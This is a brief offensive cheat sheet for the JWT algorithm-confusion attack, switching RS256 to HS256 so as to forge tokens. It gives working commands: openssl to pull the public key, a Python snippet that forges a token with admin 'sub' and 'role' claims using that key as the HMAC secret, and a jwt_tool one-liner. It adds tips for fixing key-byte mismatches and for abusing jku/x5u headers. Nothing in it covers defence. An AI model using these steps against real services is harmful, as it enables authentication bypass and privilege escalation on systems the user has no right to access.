JWT algorithm confusion, RS256 to HS256

If the server verifies RS256 with a single verify(token, key) and accepts the alg from the header, forge tokens by switching to HS256 and using the public key bytes as the HMAC secret.

openssl x509 -in cert.pem -pubkey -noout > pub.pem
python3 - <<'PY'
import jwt
print(jwt.encode({"sub":"admin","role":"admin"}, open("pub.pem").read(), algorithm="HS256"))
PY

The verifier HMACs with a key you already possess.

jwt_tool eyJ... -X k -pk pub.pem   # automated confusion attack

Pro note: the usual failure is a byte mismatch in the key; try with and without the trailing newline, PEM versus DER, and the exact key from jwks. If the app fetches keys by jku or x5u, also test pointing verification at your own key set.